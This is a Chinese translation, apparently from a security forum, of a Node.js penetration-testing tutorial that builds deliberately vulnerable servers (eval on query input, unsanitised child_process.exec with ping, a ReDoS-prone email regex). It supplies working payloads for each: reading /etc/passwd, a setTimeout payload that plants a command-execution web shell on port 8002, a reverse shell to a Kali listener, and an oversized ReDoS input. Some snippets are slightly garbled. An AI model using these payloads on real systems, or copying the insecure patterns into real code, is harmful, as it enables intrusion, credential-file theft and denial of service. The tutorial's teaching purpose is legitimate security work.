PentestingNode.js Application : Nodejs Application Security
由prison翻譯整理,首發i春秋。
由於原文地址在牆外,所以做下簡介:本篇文章較為詳細的講述了通過node.js的已知漏洞來完成滲透測試的過程,介紹了node.js存在的漏洞可以在多種工具下的不同利用方式。因為我認為會對論壇部分web安全新手有所幫助,所以整理到論壇中。難度系數:三顆星。
$ mkdir nodeapp
$ cd nodeapp
用npm init 命令為你的項目創建一個package.json文件。
$npm install expres –save
你也可以選擇臨時安裝express,而不將它添加到依賴項列表中。
$npm install express
Eval()函數很危險
示例1:
var x = 2;
var y = 2;
var z = '10'';
eval('x + y + 6'); // returns 10
eval(z); // returns 10
Both eval() will return value 10.
示例2:
ar express = require('express');[/align]var app = express();
app.get('/', function(req, res) {
var resp=eval("("+req.query.input+")");
res.send('Output</br>'+resp);
});
app.listen(8001);
[codeexe.js]
node filename.js
node codexe.js
如果你啟動時看到一些錯誤,可能是其他正在運行的服務占用了端口,所以首先我們要用ps命令找到這些服務。
kill掉pid為2959的codexe.js
我們接着啟動js代碼
首先,我們將一個簡單的用戶輸入傳遞給我們代碼中的輸入參數:http://127.0.0.1:8001/?4444441111
我們用一些關於Node.js代碼執行的payload
process.arch
process.argv
process.argv0
process.channel
process.cwd()
process.geteuid()
process.getegid()
process.getgroups()
process.pid
process.platform
process.version
丟到Burp的Intruder:
導入我們的payload
從爆破結果來看,我們可以發現其中一個叫做process.cwd()返回了當前目錄值"/Users/narendrabhati/Node JS Pentesting”
http://127.0.0.1:8001/?input=res.end(require('fs').readFileSync('/etc/passwd').toString())
下面的payload將會啟動一個新的服務器,或者在八秒后你可以在8002端口上找到一個新的node.js應用。讓我們搞點花樣出來:
setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8002); }, 8000)
反向連接Reverse Shell
我的kali在等待連接4444端口:
我通過nodejsshell.py在這個項目中注入代碼:
然后我的kali得到了一個反向shell
2)遠程操作系統命令執行
var http = require("http");
var url = require("url");
var exe = require('child_process');
http.createServer(function(request, response)
{
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
exe.exec('ping -c 4 ' + parsedUrl.query.inject, function (err,data)
{
response.write("RCE-DEMO " + data);
});
}).listen(8005);
3) RegExp DOS 漏洞
[ nodejsregexp.js]
var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
starttime = process.hrtime();
var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
response.write("Email Validation : "+emailExpression.test( parsedUrl.query.email ));
response.write("</br>Server Response Time: " + process.hrtime(starttime));
response.end();
}).listen(8006);
在輸入var emailExpression= /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;之后,容易受到DOS攻擊,攻擊者可以將大量的輸入傳遞給應用程序。導致服務/應用程序不可用。
http://127.0.0.1:8006/?email=narealshdlhasldhlashkldhalshdlkahslkdhklashldhalkshdklahskldhklashkldhaklshdklhalshdlahslhdhasklkhdlkahdndra.bhagdkjgkasgkdgakjsgdjkgaskgdjkagskdgjkasgjkdgjasgdgjkasgjdgjaksgjkdgjaksgkdgjaksjkgdgjaksjgkdgajksgdjkagjskdgjkajsgkdgjkasjgkdadati@websasdasdaksdgakjsgdkgajksgdjkagsjkdgajkgdjkagksdgjkasgjkdgjasjkdjkagjkdgagkasjdadecgeeks.caskdhahldkhalkshdklahsldhklashdlhaklshdlahsldhlkahsdhlashdhaklshdhaklshdklahslhdkahsdhkahsldhaskhldhalshdhlashdasdom%%%%////
這樣大量的輸入將會導致應用程序大量消耗服務器資源。
4 ) Brute Force/Rate LimitProtection
npm i nsp –g
nsp check module-name-to-audited[檢查是否有漏洞]
或者是
nsp module-name-to-audite.json